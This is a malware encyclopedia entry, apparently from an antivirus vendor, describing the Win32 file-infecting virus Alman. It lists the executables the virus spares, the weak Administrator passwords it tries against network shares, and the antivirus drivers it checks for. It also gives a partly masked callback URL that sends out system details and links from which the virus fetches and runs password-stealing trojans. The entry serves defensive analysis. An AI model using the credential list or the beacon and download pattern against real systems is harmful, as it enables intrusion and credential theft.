Virus.Win32.Alman

Parent class: VirWare

Viruses and worms are malicious programs that self-replicate on computers or via computer networks without the user being aware; each subsequent copy of such malicious programs is also able to self-replicate. Malicious programs which spread via networks or infect remote machines when commanded to do so by the “owner” (e.g. Backdoors) or programs that create multiple copies that are unable to self-replicate are not part of the Viruses and Worms subclass. The main characteristic used to determine whether or not a program is classified as a separate behaviour within the Viruses and Worms subclass is how the program propagates (i.e. how the malicious program spreads copies of itself via local or network resources.) Most known worms are spread as files sent as email attachments, via a link to a web or FTP resource, via a link sent in an ICQ or IRC message, via P2P file sharing networks etc. Some worms spread as network packets; these directly penetrate the computer memory, and the worm code is then activated. Worms use the following techniques to penetrate remote computers and launch copies of themselves: social engineering (for example, an email message suggesting the user opens an attached file), exploiting network configuration errors (such as copying to a fully accessible disk), and exploiting loopholes in operating system and application security. Viruses can be divided in accordance with the method used to infect a computer:

• file viruses
• boot sector viruses
• macro viruses
• script viruses

Any program within this subclass can have additional Trojan functions. It should also be noted that many worms use more than one method in order to spread copies via networks.

Class: Virus

Viruses replicate on the resources of the local machine. Unlike worms, viruses do not use network services to propagate or penetrate other computers. A copy of a virus will reach remote computers only if the infected object is, for some reason unrelated to the virus function, activated on another computer. For example: when infecting accessible disks, a virus penetrates a file located on a network resource a virus copies itself to a removable storage device or infects a file on a removable device a user sends an email with an infected attachment.

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Platform: Win32

Win32 is an API on Windows NT-based operating systems (Windows XP, Windows 7, etc.) that supports execution of 32-bit applications. One of the most widespread programming platforms in the world.

Description

The virus infects all write accessible Windows executable files (PE-EXE) on all disks on the victim computer and in accessible network folders. The virus does not infect files with the following names:

wooolcfg.exe



woool.exe



ztconfig.exe



patchupdate.exe



trojankiller.exe



xy2player.exe



flyff.exe



xy2.exe



au_unins_web.exe



cabal.exe



cabalmain9x.exe



cabalmain.exe



meteor.exe



patcher.exe



mjonline.exe



config.exe



zuonline.exe



userpic.exe



main.exe



dk2.exe



autoupdate.exe



dbfsupdate.exe



asktao.exe



sealspeed.exe



xlqy2.exe



game.exe



wb-service.exe



nbt-dragonraja2006.exe



dragonraja.exe



mhclient-connect.exe



hs.exe



mts.exe



gc.exe



zfs.exe



neuz.exe



maplestory.exe



nsstarter.exe



nmcosrv.exe



ca.exe



nmservice.exe



kartrider.exe



audition.exe



zhengtu.exe

The virus writes its executable file to the beginning of the file being infected, displacing the original contents of the file downwards.

In order to infect files located in network folders, the virus attempts to connect to remote machines using the Administrator account and one of the following passwords:

zxcv



qazwsx



qaz



qwer



!@#$%^&*()



!@#$%^&*(



!@#$%^&*



!@#$%^&



!@#$%^



!@#$%



aasdf 



sdfgh



!@#$



654321



123456



12345



1234



123



111

The virus also sends information to the remote malicious user's site about the amount of free space on the C disk, the operating system and Internet Explorer versions on the victim machine, and about the presence of drivers in the system which have one of the names listed below:

Hooksys



KWatch3



KregEx



KLPF



NaiAvFilter1



NAVAP



AVGNTMGR



AvgTdi



nod32drv



PavProtect



TMFilter



BDFsDrv



VETFDDNT

This information is sent in the following request to the remote malicious user's site:

http://****mrw0rldwide.com/co.asp?action=post&HD=<amount of free space> &OT=<operating system version> &IV=<version of Internet Explorer> &AV=<installed drivers>

The virus also gets a list of files to be downloaded from the following link:

It then downloads files from the list, saves them to the Windows temporary directory and launches them for execution.

At the time of writing, the virus downloaded files from the following links:

http://down****net/css.jpg



http://down****net/wow.jpg

and saved them as shown below:

%Temp%css.jpg - this file is 62 792 bytes in size. It will be detected by Kaspersky Anti-Virus as Trojan-PSW.Win32.OnLineGames.afd;

%Temp%wow.jpg - this file is 40 241 bytes in size. It will be detected by Kaspersky Anti-Virus as Trojan-PSW.Win32.WOW.sv.

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